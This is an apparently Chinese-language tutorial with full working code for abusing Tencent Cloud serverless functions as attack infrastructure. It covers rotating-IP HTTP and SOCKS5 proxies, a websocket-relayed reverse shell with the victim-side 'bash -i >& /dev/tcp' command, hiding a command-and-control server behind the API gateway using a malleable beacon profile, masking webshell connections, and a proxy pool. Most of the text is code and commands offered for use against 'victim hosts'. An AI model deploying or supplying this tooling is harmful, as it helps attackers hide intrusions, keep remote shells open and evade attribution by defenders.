无图版
一.简介
1.云函数(Serverless Cloud Function,SCF)
- 多出口
- 调用时创建执行
- 无需服务器承载
- 云函数无法常驻,类似于HTTP协议这种无状态协议,所以建议不使用ssh长连接
- 不能直接调用,需要触发器,使用http请求触发触发器。
地址:
https://console.cloud.tencent.com/scf/index?rid=1
2.HTTP PROXY
客户端挂上代理,然后以POST形式把数据发给远端SCF,然后由云解析函数进行发起请求。
二.操作
1.HTTP 代理
服务端配置
从头开始,填写名称,选择python环境
填写代码,修改token(服务端与本地一致)
代码:
# -*- coding: utf8 -*-
import json
import pickle
from base64 import b64decode, b64encode
import requests
SCF_TOKEN = "cmrex"
def authorization():
return {
"isBase64Encoded": False,
"statusCode": 401,
"headers": {},
"body": "Please provide correct SCF-Token",
}
def main_handler(event: dict, context: dict):
try:
token = event["headers"]["scf-token"]
except KeyError:
return authorization()
if token != SCF_TOKEN:
return authorization()
data = event["body"]
kwargs = json.loads(data)
kwargs['data'] = b64decode(kwargs['data'])
r = requests.request(**kwargs, verify=False, allow_redirects=False)
serialized_resp = pickle.dumps(r)
return {
"isBase64Encoded": False,
"statusCode": 200,
"headers": {},
"body": b64encode(serialized_resp).decode("utf-8"),
}
时间越长越好(^_^)
然后创建触发器,API网关触发,其他默认:
然后获取访问路径
客户端配置完毕
客户端配置
使用mitmproxy代理,pip安装
pip3 install mitmproxy
安装证书:
证书位置,双击安装
然后配置本地代码:
# -*- coding: utf8 -*-
import json
import pickle
from typing import List
from random import choice
from urllib.parse import urlparse
from base64 import b64encode, b64decode
import mitmproxy
scf_servers: List[str] = []
SCF_TOKEN = "TOKEN"
def request(flow: mitmproxy.http.HTTPFlow):
scf_server = choice(scf_servers)
r = flow.request
data = {
"method": r.method,
"url": r.pretty_url,
"headers": dict(r.headers),
"cookies": dict(r.cookies),
"params": dict(r.query),
"data": b64encode(r.raw_content).decode("ascii"),
}
flow.request = flow.request.make(
"POST",
url=scf_server,
content=json.dumps(data),
headers={
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, compress",
"Accept-Language": "en-us;q=0.8",
"Cache-Control": "max-age=0",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"Connection": "close",
"Host": urlparse(scf_server).netloc,
"SCF-Token": SCF_TOKEN,
},
)
def response(flow: mitmproxy.http.HTTPFlow):
if flow.response.status_code != 200:
mitmproxy.ctx.log.warn("Error")
if flow.response.status_code == 401:
flow.response.headers = Headers(content_type="text/html;charset=utf-8")
return
if flow.response.status_code == 433:
flow.response.headers = Headers(content_type="text/html;charset=utf-8")
flow.response.text = "<html><body>操作超时,可在函数配置中修改执行超时时间</body></html>"
return
if flow.response.status_code == 200:
body = flow.response.content.decode("utf-8")
resp = pickle.loads(b64decode(body))
r = flow.response.make(
status_code=resp.status_code,
headers=dict(resp.headers),
content=resp.content,
)
flow.response = r
需要将触发器中的访问路径添加至 client.py
中scf_servers
变量中,以逗号 ,
分隔。scf_servers
参数可以添加多个API
接口,这样就可以获取更多的IP
池。
效果
启动脚本
mitmdump -s client.py -p 8081 --no-http2
成功代理:
然后我们看自己的IP,每次都在变化
2.socks5代理
介绍
正常 SOCKS5
代理请求的流程为服务端监听来自客户端的请求,当客户端发起一个新的连接,服务端生成一个 socket A
,并从数据包中解析出目标服务器的地址和端口,在本地对目标发起一个 socket B
,同步两个 socket 的 IO
操作。
socket
可对外发起连接,云函数能对外发包,因此我们可以将云函数当作中间人,一侧对 VPS 发起连接,另一侧对目标服务器发起连接。
SOCKS5
主要分为 3 个步骤:
- 认证:对客户端发起的连接进行认证
- 建立连接:从客户端发起的连接中读取数据,获得目标服务器地址,并建立连接
- 转发数据:分别将来自客户端、服务器的数据转发给对方
服务器端口
配置名字等基本信息
代码,注意修改自己服务器的ip和端口
# -*- coding: utf8 -*-
# server.py
import json
import socket
import select
bridge_ip = "ip"
bridge_port = port
def main_handler(event, context):
data = json.loads(event["body"])
out = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
out.connect((data["host"], data["port"]))
bridge = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
bridge.connect((bridge_ip, bridge_port))
bridge.send(data["uid"].encode("ascii"))
while True:
readable, _, _ = select.select([out, bridge], [], [])
if out in readable:
data = out.recv(4096)
bridge.send(data)
if bridge in readable:
data = bridge.recv(4096)
out.send(data)
注意:需要修改server.py
中的 bridge_ip
与 bridge_port
为自己 VPS
的 ip
及开启监听的端口
设置900:
创建触发器:
得到路径:
客户端配置
代码:socks5.py
# Python >= 3.8
import asyncio
import argparse
from socket import inet_ntoa
from functools import partial
import uvloop
import shortuuid
from bridge import scf_handle
from models import Conn, http, uid_socket
from utils import print_time, parse_args, cancel_task
async def socks_handle(
args: argparse.Namespace, reader: asyncio.StreamReader, writer: asyncio.StreamWriter
):
client = Conn("Client", reader, writer)
await socks5_auth(client, args)
remote_addr, port = await socks5_connect(client)
client.target = f"{remote_addr}:{port}"
uid = shortuuid.ShortUUID().random(length=4)
uid_socket[uid] = client
data = {"host": remote_addr, "port": port, "uid": uid}
await http.post(args.scf_url, json=data)
async def socks5_auth(client: Conn, args: argparse.Namespace):
ver, nmethods = await client.read(2)
if ver != 0x05:
client.close()
cancel_task(f"Invalid socks5 version: {ver}")
methods = await client.read(nmethods)
if args.user and b"\x02" not in methods:
cancel_task(
f"Unauthenticated access from {client.writer.get_extra_info('peername')[0]}"
)
if b"\x02" in methods:
await client.write(b"\x05\x02")
await socks5_user_auth(client, args)
else:
await client.write(b"\x05\x00")
async def socks5_user_auth(client: Conn, args: argparse.Namespace):
ver, username_len = await client.read(2)
if ver != 0x01:
client.close()
cancel_task(f"Invalid socks5 user auth version: {ver}")
username = (await client.read(username_len)).decode("ascii")
password_len = ord(await client.read(1))
password = (await client.read(password_len)).decode("ascii")
if username == args.user and password == args.passwd:
await client.write(b"\x01\x00")
else:
await client.write(b"\x01\x01")
cancel_task(
f"Wrong user/passwd connection from {client.writer.get_extra_info('peername')[0]}"
)
async def socks5_connect(client: Conn):
ver, cmd, _, atyp = await client.read(4)
if ver != 0x05:
client.close()
cancel_task(f"Invalid socks5 version: {ver}")
if cmd != 1:
client.close()
cancel_task(f"Invalid socks5 cmd type: {cmd}")
if atyp == 1:
address = await client.read(4)
remote_addr = inet_ntoa(address)
elif atyp == 3:
addr_len = await client.read(1)
address = await client.read(ord(addr_len))
remote_addr = address.decode("ascii")
elif atyp == 4:
cancel_task("IPv6 not supported")
else:
cancel_task("Invalid address type")
port = int.from_bytes(await client.read(2), byteorder="big")
# Should return bind address and port, but it's ok to just return 0.0.0.0
await client.write(b"\x05\x00\x00\x01\x00\x00\x00\x00\x00\x00")
return remote_addr, port
async def main():
args = parse_args()
handle = partial(socks_handle, args)
if not args.user:
print_time("[ALERT] Socks server runs without authentication")
await http.init_session()
socks_server = await asyncio.start_server(handle, args.listen, args.socks_port)
print_time(f"SOCKS5 Server listening on: {args.listen}:{args.socks_port}")
await asyncio.start_server(scf_handle, args.listen, args.bridge_port)
print_time(f"Bridge Server listening on: {args.listen}:{args.bridge_port}")
try:
await socks_server.serve_forever()
except asyncio.CancelledError:
await http.close()
if __name__ == "__main__":
uvloop.install()
try:
asyncio.run(main())
except KeyboardInterrupt:
print_time("[INFO] User stoped server")
bridge.py:
import asyncio
from utils import print_time
from models import Conn, uid_socket
async def scf_handle(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
bridge = Conn("Bridge", reader, writer)
uid = await bridge.read(4)
uid = uid.decode("ascii")
client = uid_socket[uid]
bridge.target = client.target
bridge_addr, _ = bridge.writer.get_extra_info("peername")
print_time(f"Tencent IP:{bridge_addr} <=> {client.target} established")
await socks5_forward(client, bridge)
async def socks5_forward(client: Conn, target: Conn):
async def forward(src: Conn, dst: Conn):
while True:
try:
data = await src.read(4096)
if not data:
break
await dst.write(data)
except RuntimeError as e:
print_time(f"RuntimeError occured when connecting to {src.target}")
print_time(f"Direction: {src.role} => {dst.role}")
print(e)
except ConnectionResetError:
print_time(f"{src.add} sends a ConnectionReset")
pass
await asyncio.sleep(0.01)
tasks = [forward(client, target), forward(target, client)]
await asyncio.gather(*tasks)
models.py:
import asyncio
from typing import Union
from collections import OrderedDict
import aiohttp
class Conn:
def __init__(
self,
role: str,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
) -> None:
self.target = None
self.role = role
self.reader = reader
self.writer = writer
async def read(self, size: int):
return await self.reader.read(size)
async def write(self, data: Union[str, bytes]):
self.writer.write(data)
await self.writer.drain()
def close(self):
self.writer.close()
class LRUDict(OrderedDict):
def __init__(self, capacity):
self.capacity = capacity
self.cache = OrderedDict()
def get(self, key):
value = self.cache.pop(key)
self.cache[key] = value
return value
def set(self, key, value):
if key in self.cache:
self.cache.pop(key)
elif len(self.cache) == self.capacity:
self.cache.popitem(last=True)
self.cache[key] = value
class Request:
def __init__(self):
self._session = None
async def init_session(self):
self._session = aiohttp.ClientSession()
async def request(self, method, url, bypass_cf=False, **kwargs):
await self._session.request(method=method, url=url, **kwargs)
async def post(self, url, **kwargs):
return await self.request("POST", url, **kwargs)
async def close(self):
await self._session.close()
http = Request()
uid_socket = LRUDict(150)
utils.py:
import sys
import asyncio
import argparse
from datetime import datetime, timezone, timedelta
timezone(timedelta(hours=8))
def print_time(data):
print(f'{datetime.now().strftime("%Y-%m-%d %H:%M:%S")} {data}')
def parse_error(errmsg):
print("Usage: python " + sys.argv[0] + " [Options] use -h or --help for help")
sys.exit()
def parse_args():
parser = argparse.ArgumentParser(description="SCF Socks5 Proxy Server")
parser.error = parse_error
parser.add_argument(
"-u", "--scf-url", type=str, help="API Gate Way URL", required=True
)
parser.add_argument(
"-l",
"--listen",
default="0.0.0.0",
metavar="ip",
help="Bind address to listen, default to 0.0.0.0",
)
parser.add_argument(
"-sp",
"--socks-port",
type=int,
help="Port accept connections from client",
required=True,
)
parser.add_argument(
"-bp",
"--bridge-port",
type=int,
help="Port accept connections from SCF",
required=True,
)
parser.add_argument("--user", type=str, help="Authentication username")
parser.add_argument("--passwd", type=str, help="Authentication password")
args = parser.parse_args()
return args
def cancel_task(msg):
print_time(f"[ERROR] {msg}")
task = asyncio.current_task()
task.cancel()
然后vps上开启:
python3 socks5.py -u "https://service-9nfraiy4-1300357508.gz.apigw.tencentcs.com/release/socks5" -bp 6666 -sp 7777 --user test --passwd test
-u
参数需要填写 API 网关提供的地址,必填-l
表示本机监听的 ip,默认为 0.0.0.0-sp
表示 SOCKS5 代理监听的端口,必填bp
表示用于监听来自云函数连接的端口,与 server.py 中的bridge_port
相同,必填--user
和--passwd
用于 SOCKS5 服务器对连接进行身份验证,客户端需配置相应的用户名和密码
效果
然后配置代理:
ip地址确实都变了
3.反弹shell
介绍
当客户端有消息发出时,会先传递给 API 网关,再由 API 网关触发云函数执行。当服务端云函数要向客户端发送消息时,会先由云函数将消息 POST 到 API 网关的反向推送链接,再由 API 网关向客户端完成消息的推送。具体的实现架构如下:
所以我们利用websocket进行反弹shell,从而达到反弹shell的作用
服务端配置
需要一个允许外联的MySql数据库进行配置:
创建数据库
create database SCF;
use SCF;
create table Connections (
ConnectionID varchar(128) NOT NULL,
Date datetime,
is_user tinyint
)
修改 src 文件夹内所有文件中的如下变量
db_host = 数据库 host
db_port = 数据库端口
db_user = 数据库用户
db_pass = 数据库密码
push_back_host = 等后续配置 API 网关后填写
参照 [HTTP 代理配置] 新建三个自定义函数,分别命名为 register, transmission, delete。
- register.pypyName:register.py
# -*- coding: utf8 -*-
import pytz
import datetime
import requests
import pymysql.cursors
push_back_host = “”
db_host = “”
db_user = “”
db_pass = “”
db_port = 123
db = “SCF”
db_table = “Connections”
tz = pytz.timezone(“Asia/Shanghai”)
def send(connectionID, data):
retmsg = {
“websocket”: {
“action”: “data send”,
“secConnectionID”: connectionID,
“dataType”: “text”,
“data”: data,
}
}
requests.post(push_back_host, json=retmsg)
def close_ws(connectionID):
msg = {“websocket”: {“action”: “closing”, “secConnectionID”: connectionID}}
requests.post(push_back_host, json=msg)
def record_connectionID(connectionID):
try:
conn = pymysql.connect(
host=db_host,
user=db_user,
password=db_pass,
port=db_port,
db=db,
charset=”utf8″,
cursorclass=pymysql.cursors.DictCursor,
)
with conn.cursor() as cursor:
sql = f”use {db}”
cursor.execute(sql)
time = datetime.datetime.now(tz).strftime(“%Y-%m-%d %H:%M:%S”)
sql = f”insert INTO {db_table} (`ConnectionID`, `is_user`, `Date`) VALUES (‘{str(connectionID)}’, 0, ‘{time}’)”
cursor.execute(sql)
conn.commit()
except Exception as e:
send(connectionID, f”[Error]: {e}”)
close_ws(connectionID)
finally:
conn.close()
def main_handler(event, context):
if “requestContext” not in event.keys():
return {“errNo”: 101, “errMsg”: “not found request context”}
if “websocket” not in event.keys():
return {“errNo”: 102, “errMsg”: “not found web socket”}
connectionID = event[“websocket”][“secConnectionID”]
retmsg = {
“errNo”: 0,
“errMsg”: “ok”,
“websocket”: {“action”: “connecting”, “secConnectionID”: connectionID},
}
record_connectionID(connectionID)
return retmsg - transmission.py#pyName:transmission.py
# -*- coding: utf8 -*-
from os import close
import pytz
import requests
import pymysql.cursors
push_back_host = “”
db_host = “”
db_user = “”
db_pass = “”
db_port = 123
PASSWORD = “test”
db = “SCF”
db_table = “Connections”
tz = pytz.timezone(“Asia/Shanghai”)
def send(connectionID, data):
retmsg = {
“websocket”: {
“action”: “data send”,
“secConnectionID”: connectionID,
“dataType”: “text”,
“data”: data,
}
}
requests.post(push_back_host, json=retmsg)
def close_ws(connectionID):
msg = {“websocket”: {“action”: “closing”, “secConnectionID”: connectionID}}
requests.post(push_back_host, json=msg)
def get_connectionIDs(conn):
with conn.cursor() as cursor:
sql = f”use {db}”
cursor.execute(sql)
sql = f”select * from {db_table}”
cursor.execute(sql)
result = cursor.fetchall()
connectionIDs = {c[“ConnectionID”]: c[“is_user”] for c in result}
return connectionIDs
def update_user_type(conn, connectionID):
with conn.cursor() as cursor:
sql = f”use {db}”
cursor.execute(sql)
sql = f”update {db_table} set is_user=True where ConnectionID='{connectionID}'”
cursor.execute(sql)
conn.commit()
def main_handler(event, context):
if “websocket” not in event.keys():
return {“errNo”: 102, “errMsg”: “not found web socket”}
data = event[“websocket”][“data”].strip()
current_connectionID = event[“websocket”][“secConnectionID”]
if data == “close”:
send(current_connectionID, “[INFO] current connection closed”)
close_ws(current_connectionID)
return
if data == “help”:
msg = “””Commands
auth PASSWORD – provide a password to set current connection to be a user
close – close curren websocket connection
closeall – close all websocket connections
help – show this help message
“””
send(current_connectionID, msg)
return
conn = pymysql.connect(
host=db_host,
user=db_user,
password=db_pass,
port=db_port,
db=db,
charset=”utf8″,
cursorclass=pymysql.cursors.DictCursor,
)
connectionIDs = get_connectionIDs(conn)
if data[:5] == “auth “:
try:
password = data.split()[1]
except IndexError:
password = None
if password == PASSWORD:
send(current_connectionID, “[INFO] AUTH SUCCESS”)
update_user_type(conn, current_connectionID)
else:
send(current_connectionID, “[ERROR] AUTH FAILED”)
if data == “closeall”:
send(current_connectionID, “[INFO] all connections closed”)
for ID in connectionIDs.keys():
close_ws(ID)
return
is_current_user = connectionIDs.pop(current_connectionID)
for ID, is_user in connectionIDs.items():
if is_current_user:
send(ID, data)
elif is_user:
send(ID, data)
return “send success” - delete.py#pcName:delete.py
# -*- coding: utf8 -*-
import pytz
import pymysql.cursors
push_back_host = “”
db_host = “”
db_user = “”
db_pass = “”
db_port = 123
db = “SCF”
db_table = “Connections”
tz = pytz.timezone(“Asia/Shanghai”)
def delete_connectionID(connectionID):
conn = pymysql.connect(
host=db_host,
user=db_user,
password=db_pass,
port=db_port,
db=db,
charset=”utf8″,
cursorclass=pymysql.cursors.DictCursor,
)
with conn.cursor() as cursor:
sql = f”use {db}”
cursor.execute(sql)
sql = f”delete from {db_table} where ConnectionID ='{connectionID}'”
cursor.execute(sql)
conn.commit()
def main_handler(event, context):
if “websocket” not in event.keys():
return {“errNo”: 102, “errMsg”: “not found web socket”}
connectionID = event[“websocket”][“secConnectionID”]
delete_connectionID(connectionID)
return event
进入API网管配置
新建 API,前端类型选择 WS,其余默认,进入下一步
开启设置注册函数、清理函数。后端类型,函数,后端超时时间分别配置为如下
点击立即完成,发布服务
点击生成的 api,进入信息展示页面获取如下信息,将推送地址填入文件中的 push_back_host
变量
修改 transmission.py 中的 PASSWORD
变量,该变量将用于客户端连接 ws 后将连接认证为用户
分别复制三个文件的内容到对应的云函数中并部署
客户端配置
上传/远程下载websocat工具到受害主机
受害主机执行工具转发端口 websocat -E --text tcp-l:127.0.0.1:12345 ws://API网关地址
反弹shell到本地端口 bash -i >& /dev/tcp/127.0.0.1/12345 0>&1
攻击者连接 ws://API网关地址 ,通过云函数进行消息中转
4.C2域名隐藏
与第一种别无二样,依然选择API网关触发的方式,就是云函数服务端脚本修改为如下
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
创建一个profile:
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
日常云函数,网关等
把默认访问地址放入c2即可
5.webshell隐藏
原理就是通过腾讯云的云函数将我们的请求进行转发
基础配置
然后配置代码:
# -*- coding: utf8 -*-
import requests
import json
def geturl(urlstr):
jurlstr = json.dumps(urlstr)
dict_url = json.loads(jurlstr)
return dict_url['u']
def main_handler(event, context):
url = geturl(event['queryString'])
postdata = event['body']
headers=event['headers']
resp=requests.post(url,data=postdata,headers=headers,verify=False)
response={
"isBase64Encoded": False,
"statusCode": 200,
"headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},
"body": resp.text
}
return response
高级配置:默认
创建触发器,选择默认创建触发器
获得路径:
使用蚁剑链接:
https://service-xxxx.com/release/xxx?u=http://xx.xx.xx.xx/1.php
https://service-pl53ygo4-1300357508.gz.apigw.tencentcs.com/release/webshell?u=http://121.43.133.39/
然后我们查看连接ip,都是不一样的。
6.代理池
下载这个,server.zip
然后部署:还是选择自定义创建,但是运行环境这里要选择Go,而不是默认的python
生成:
make
触发器还是api网关触发:
得到:
然后再测试
./client -port 10086 https://service-xxxx.com/release/xxx
然后代理我们就使用本机的10086端口即可